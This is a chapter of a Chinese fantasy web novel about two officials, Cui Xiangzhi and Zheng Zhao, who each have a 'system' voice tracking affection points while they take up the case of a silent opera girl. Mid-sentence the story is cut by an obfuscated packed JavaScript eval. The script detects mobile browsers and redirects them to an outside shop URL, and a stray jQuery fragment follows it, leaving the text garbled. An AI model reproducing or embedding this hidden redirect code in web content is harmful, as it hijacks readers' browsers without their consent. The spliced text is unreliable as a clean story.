一道声音自他脑海中浮现:【宿主。当前攻略任务进度仅进行了2%,目标进度100%,请不要得意忘形。】
冷漠如斯。
崔湘之收敛了欣容,随口应道:“晓得了晓得了。”
那道声音正欲再说些什么,崔湘之忽然提起笑容望向窗外道:“大人这是要去哪?”
郑昭抱着卷宗刚巧从院中路过,不料被他正瞧见。她转头与他隔窗相望,“你怎的还在这儿?”
崔湘之支着身子撑在窗柩前,笑吟吟望着她:“最近暂无报案,小人在看往日卷宗,好为大人助力。”
郑昭正欲上前,不料支着窗子的叉竿骤然折断掉落,窗架关上,竖在二人之间。
郑昭:“………”
崔湘之似也没料到,被吓了一跳,隔着窗纸犹豫,闷闷问道:“大人没事吧?!”
她略叹口气,抬步上阶,推开房门,对靠在窗边的人说道:“无事。”
看着那根掉落在他脚边的、已然碎裂一地木屑的叉竿,对着崔湘之道:“午后……过几日去玄器司报修一下,换根结实的。”
崔湘之讪讪拾起地上的叉竿,岔开话题道:“方才路过玄器司的时候,好似看见了一个告示,写着玄器司今日无人值守,不知何故也?”
郑昭默然良久,方启唇道:“今日玄器司的一名司库,发现了藏在器物库里的……那名玄级大妖‘穷兵’,它一口把库里的那些辨妖珠捆妖索……吃了个干净。”
“幸而眼下暂无案件,故而玄器司上上下下皆是加值加油,一拨人随着天问司的人手去追那大妖,一拨人则是尽力赶工,还原被损坏吞噬的那些器具。”
崔湘之只觉手足无措,幸而有怀中叉竿,不由得抱紧了几分,赧然道:“这大妖……”
不会是她前几日误放出来的那个?
像是听到了他的心思,郑昭面无表情道:“是那个。”
“咔嚓”一声,崔湘之此刻的心思破碎,犹如听见了那道声音,从脑海传至他周围盘旋,冷冰冰的,看好戏般的嘲笑。
他极快地望了周围一圈,才讪讪道:“……我料想就是那封印也不甚牢固……”一面说道一面慢慢沿着墙边往门外溜,“我去问问妖物司的人……跟他们学学怎么加固封印……”
郑昭抱着卷宗缓缓看着他往自己这边挪,不动声色地挪开一步给他让出位置,崔湘之猛地钻了出去,人先奔走,声音随后才传入她耳中。
“我……小人先告辞了!大人留步!!”
霎时便拐过一道玄石山墙,没了踪影。
郑昭立于堂下望着那道身影,不知在想什么。
只见崔湘之绕过几道墙院,才气喘吁吁停下喘气,懊恼,蹲下抚头道:“这下真是乐极生悲了……好容易才有的这两点,这下倒是……”
脑中骤然响起一道毫无预兆的嗡鸣,他猛然盖住双耳,企图掩盖那道自他脑海中响起的系统音。
不料并非是往日一般冰冷嘲弄他的那道声音,而是带着一点不情愿的公事公办的声音。
【目标:郑昭好感度+4,当前好感度6%,请宿主再接再厉。】
崔湘之顿时怔住。
与此同时,郑昭坐在案前,面色如常地整理卷宗。
几息过后也在脑中浮现一道轻快机械音。
【亲爱的郑昭宿主大人,如今是玄霄三十三年槐夏初十……】
“劳烦说重点。”
【……好吧宿主大人。您的攻略对象崔湘之目前对您的好感度已然达到了惊人的……10%!任务已经完成了七分之一!!实在是可喜可贺!!!】
郑昭手微顿了片刻,方才继续运笔写着。
【大人!你不开心么……要不小人给您放个流星庆贺庆贺?!】
郑昭无奈道:“你如何放流星,若叫天异司那帮人察觉了,这司里上下又开始鸡飞狗跳了。”
她顿了顿,补充道:“你别学他说话,他未出现前你可不是这么自称的,别拿他的话逗我。”
那声音嘻嘻道:“小人…”
“若还。你要是不想要这个名字了,我也倒是不介意重新叫你系统……”
“……”
“我错了,宿主大人。”那声音委委屈屈地响起。
郑昭复伏案整理卷宗,正把一份放于右手边。
“大人……”
她无奈开口道:“不是说过……”,她话还未说完,抬头望见崔湘之站在她面前,一脸疑惑地看着她,她话口急转,“不是说过……下次唤我的时候带上我的姓。”
崔湘之笑起来道:“郑……大人?”
郑昭“嗯”了一声问道:“什么事?”
崔湘之轻咳几声道:“有人……报案。”
郑昭起身从匣子中取出留音符,行至前头,二人一道往正堂走去。
堂内情景着实令二人始料未及,足足有六七名姿态各异的女子坐于堂内,为首只一位眉中无忧而长蹙,信乎西子善颦之少女坐于案前。
郑昭坐于案后,放罢留音符,温言询问道:“可是遇上什么事?”
那女子并未说话,反而是旁坐的那几名女子讲述起来,一人一句,你接腔来我递词,活像添韵加脚似的。郑昭也听明白了大致来龙去脉。
原来道,这一位未说话的女子,名唤“蝉鬓娘”,那些女子与她俱出自同门,年长她几岁,往日都是亦友亦女地照料着。
本来道,这蝉鬓娘豆蔻梢头,檀板笙箫、晨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943992|214022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
昏吊嗓、水袖翻飞,眼望着这十年功便要化作满堂惊彩。
不料,一日醒来,这蝉鬓娘口不能言,非病非疾,眼看这可怜人儿愈加愁脸,这几位同门姐姐们心疼的只觉心中一把钝刀,日日推,夜夜压。
加之这蝉鬓娘身上总是不时出现一些指甲痕,怕是有鬼神上身作祟,故而拥着哄着蝉鬓娘来报案,希冀赶走了便没事了。
郑昭轻轻伸手碰着她的袖子,似在碰一场早春未化的霜一般,询问道:“可否给我一观?”
崔湘之与往常那小吏,在见到各位姑娘家之时,便已避得远远的,只在堂下,非郑昭传而不进。
蝉鬓娘怯怯地点头。
拂开衣袖,郑昭并未见之青紫伤痕,反倒是一些轻小的指甲痕,似是蚊虫叮咬,难忍其痒,故掐痕所致,只是满手臂错落,故令人忧心惊慌。
郑昭问道:“可是你一人所致?”
蝉鬓娘点头。
“为何所致?身体可不适否?”
蝉鬓娘摇头再三,依旧闭口,非不能言,是不愿言也。便是递笔与她,也不愿写就心事。
她身后几位云髻绿鬟急得坠垂微微。
郑昭开口安慰道:“各位娘子稍安。今日天色也不早了,几位娘子先回去罢,明日我来瞧瞧情况,是否有鬼神作祟。想必蝉鬓娘今日来此,已是匪石之心,微有转焉。”
此话毕,众人皆莲步缓缓而去,鱼贯雁行而出,唯蝉鬓娘行至门后,忽而回眸一顾,眼波犹转,随后敛目回首,步摇不惊,衣袂带风,翩然而去,似水袖徐卷。
崔湘之这才进门来,问道:“大人,可要派人送之。”
郑昭只道“不必”。
她们均是练水袖的行家,四两拨千金,若要击鼓鸣音,较之寻常,力犹过之,况世风日下,再有什么没眼力见之人,她们也会自行处理好的,不劳他们费心。
崔湘之再不提这件事,只问道:“大人如何去看那蝉鬓娘之事。”
郑昭只反问道:“你可瞧见她臂上之痕迹?”
崔湘之愣了一下,羞愤道:“当然不曾!”
郑昭恍然,略歉意道:“见谅,方才忘却你并不在堂内。”
她接道:“她臂上之物,非她人所致,而自伤也。”
崔湘之疑惑:“其人有苦楚?为何不写下道来?岂是令其受苦之人在场而不敢言明?”
郑昭摇头:“非也。”
“那是为何?”
郑昭回想她离去之神情,开口道:“或许……她并未口不能言,应是有人,命她不能言也。”
崔湘之问道:“那人是谁?”
二人俱想到一人,这人是蝉鬓娘及各位同门师姐的师父,名唤“雪鬓娘”是也。